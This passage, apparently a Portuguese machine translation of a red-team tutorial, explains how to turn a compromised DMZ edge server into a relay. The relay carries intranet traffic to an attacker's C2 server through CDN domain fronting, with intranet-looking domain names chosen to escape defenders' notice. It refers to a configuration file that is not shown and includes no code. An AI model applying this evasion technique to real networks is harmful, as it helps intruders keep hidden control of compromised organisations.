No cenário de confronto de ataques e defesa, a maioria das redes de unidades ainda é uma defesa baseada na fronteira. Aqui, consideramos um cenário em que os servidores externos na área DMZ são frequentemente configurados com políticas de acesso relevantes em um ambiente de negócios normal. No momento, quando os servidores externos na borda podem acessar a rede, mas não podem acessar diretamente o host da intranet, o PC ou servidores relacionados na intranet não acessarem diretamente a rede pública, mas podem acessar os servidores de negócios na área DMZ, Então eu posso usar o host do nó Edge como um nó RG para transferir o tráfego on -line da Intranet para nossas instalações C2. Parece muito semelhante à transferência de proxy convencional online? No entanto, isso é apenas uma forma de exibição da implementação de habilidades. Vamos continuar olhando para mais dicas.
Quando derrubamos um host de borda durante o processo de gerenciamento, assumindo que assumimos as permissões do shell, implantaremos o RG nesse servidor como nosso nó front-end (em cenários reais, os arquivos de configuração são codificados no programa, e até o cavalo de Trojan e o RG são combinados no mesmo programa) .
O arquivo de configuração é o seguinte:
Para a configuração específica, focamos principalmente nas setas. A seta 1 acima é o nome do domínio do host para a interação entre o host da intranet e o nó Edge . Recomenda -se definir o nome de domínio da intranet relevante de acordo com o cenário específico da unidade de destino. Imagine a interação de tráfego entre dois hosts na intranet sobre o nome do domínio da intranet. A BT tem a coragem de cortar diretamente o tráfego interativo? Obviamente, se eles podem determinar que é um tráfego interativo malicioso. A seta 2 pontos para a configuração do frontend convencional do domínio . Esse par de valores-chave, a chave corresponde ao host on-line e o valor corresponde ao endereço de proxy. Aqui podemos defini -lo como qualquer nome de domínio HTTPS usando o mesmo fabricante de CDN (o IP do nó CDN também está ok, lembre -se de trazer HTTP (S): // Protocol).
O EdgeHost é o nome de domínio usado pelo frontend de domínio do nosso provedor de serviços em nuvem, que também é o nome de domínio usado pelo nó RG Edge ao interagir com C2 através do nó CDN. Sim, o RG modificará o nome do domínio do host da solicitação legítima e a modificará no nome do domínio CDN do serviço em nuvem que pode se comunicar normalmente.
Edgetarget é o nome de domínio para a interação da intranet, que precisa ser a mesma que a Arrow 1. Somente o tráfego solicitado pelo nome de domínio definido aqui pelo host será considerado legítimo, e o RG será mais modificado no nome do Domínio CDN de Serviço Cloud para subsequente comunicação.
Aqui resumimos:
Ou seja, a interação entre o nó Edge e o host na intranet é através do nome de domínio da intranet definido. Quando
